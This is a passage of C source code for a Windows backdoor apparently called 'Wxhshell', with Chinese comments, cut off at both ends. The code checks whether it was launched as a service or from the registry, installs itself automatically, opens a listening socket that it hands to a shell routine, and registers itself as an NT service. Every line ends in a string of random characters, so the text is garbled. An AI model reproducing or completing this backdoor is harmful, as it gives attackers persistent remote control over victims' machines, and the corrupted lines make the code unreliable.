ULONG UniqueProcessId; 's!EAqCN
ULONG InheritedFromUniqueProcessId; ]D%D:>9|/
} PROCESS_BASIC_INFORMATION; <-X)<k
{.;MsE
PROCNTQSIP NtQueryInformationProcess; !f]F'h8
e#SNN-hKsJ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JzCfs<D
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z`m-Ca>6
] E`J5o}op
HANDLE hProcess; Qx'a+kLu9
PROCESS_BASIC_INFORMATION pbi; W!V06.
d),@&MSN
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =i\~][-
if(NULL == hInst ) return 0; .\LWV=B
[m!$01=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qEX59v
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }=;N3Q" #y
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ` _[\j]
$Ob]JAf}
if (!NtQueryInformationProcess) return 0; 23&;28)8
{Km|SG[-q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XR]]g+Z
if(!hProcess) return 0; J4xt!RW!
__'Z0?.4#
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q->'e-\E<"
NM
CloseHandle(hProcess); pBh[F5
!W{|7Es?.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }DY^a'wJ-
if(hProcess==NULL) return 0; WcbJ4Ore
E}.cz\!.
HMODULE hMod; ;m@>v?zE
char procName[255]; rXo,\zI;u^
unsigned long cbNeeded; mWta B>f
h9&<-k
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0XvMaQXQF
a(BWV?A
CloseHandle(hProcess); +!'6:F
Uw<Lt"ls.
if(strstr(procName,"services")) return 1; // 以服务启动 ZO
W{rv]
-GH#nF3G
return 0; // 注册表启动 l?Bv9k.^?
} 3eFD[c%mN
ir3iW*5k
// 主模块 Jel%1'Dc^
int StartWxhshell(LPSTR lpCmdLine) 1h"0B
{ jQ1~B1(
SOCKET wsl; ~ m,z|
BOOL val=TRUE; ] l}8
int port=0; L)HuQVc g
struct sockaddr_in door; LHR%dt|M
wC..LdSR
if(wscfg.ws_autoins) Install(); 12;"K?7{
]J?5qR:xCy
port=atoi(lpCmdLine); (~zdS.
nu4GK}xI
if(port<=0) port=wscfg.ws_port; H /*^$>0Uo
?gH[tN:=
WSADATA data; 0JKbp*H
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /p?h@6h@y
R8O<}>3a
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; OKxPf]~4E
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?Ju=L|
door.sin_family = AF_INET; C Vyq/X
door.sin_addr.s_addr = inet_addr("127.0.0.1"); m 9.QGX\]
door.sin_port = htons(port); (y=P-nm
6n45]?
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { / QSK$ZDC
closesocket(wsl); 3[-L'!pOX3
return 1; /vwGSuk._
} }NiJDs
onHUi]yYu{
if(listen(wsl,2) == INVALID_SOCKET) { WVf;uob{
closesocket(wsl); @;JT }R H-
return 1; !N?|[n1
} `b# w3 2
Wxhshell(wsl); Bn-%).-ED
WSACleanup(); Zb<DgJ=3
SN\;&(?G
return 0; =DcKHL(m
P;mmK&&
} )7*Apy==x
f)?s.DvUB
// 以NT服务方式启动 po\Q Me
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cQS}pQyYN
{ UTHGjE
DWORD status = 0; V)_mo/D!D
DWORD specificError = 0xfffffff; *~:4&$
{*yhiE ,
serviceStatus.dwServiceType = SERVICE_WIN32; &HT
PeB
serviceStatus.dwCurrentState = SERVICE_START_PENDING; |JnJ=@-y
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6 @'v6 1'
serviceStatus.dwWin32ExitCode = 0; & i)p^AmM
serviceStatus.dwServiceSpecificExitCode = 0; Cp_"PvTmT
serviceStatus.dwCheckPoint = 0; V:2|l!l*
serviceStatus.dwWaitHint = 0; q#c\
+f;z{)%B
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *-ZJF6
if (hServiceStatusHandle==0) return; !H~G_?Mf\O
Q~ te`
status = GetLastError(); h8$lDFo
if (status!=NO_ERROR) \b{=&B[Q$'
{ Pdrz lu
serviceStatus.dwCurrentState = SERVICE_STOPPED; li$(oA2
serviceStatus.dwCheckPoint = 0; G'#a&6
serviceStatus.dwWaitHint = 0; CQ"5bnR
serviceStatus.dwWin32ExitCode = status; drNfFx2
serviceStatus.dwServiceSpecificExitCode = specificError; [gqV}Y"Md
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <